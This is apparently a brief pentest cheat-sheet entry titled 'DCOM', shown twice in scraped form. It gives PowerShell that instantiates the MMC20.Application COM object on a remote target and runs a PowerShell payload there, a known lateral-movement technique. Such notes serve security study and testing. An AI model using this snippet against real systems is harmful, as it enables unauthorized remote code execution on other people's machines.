DCOM
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<target_ip>"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"<payload>","7")Last updated
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<target_ip>"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"<payload>","7")Last updated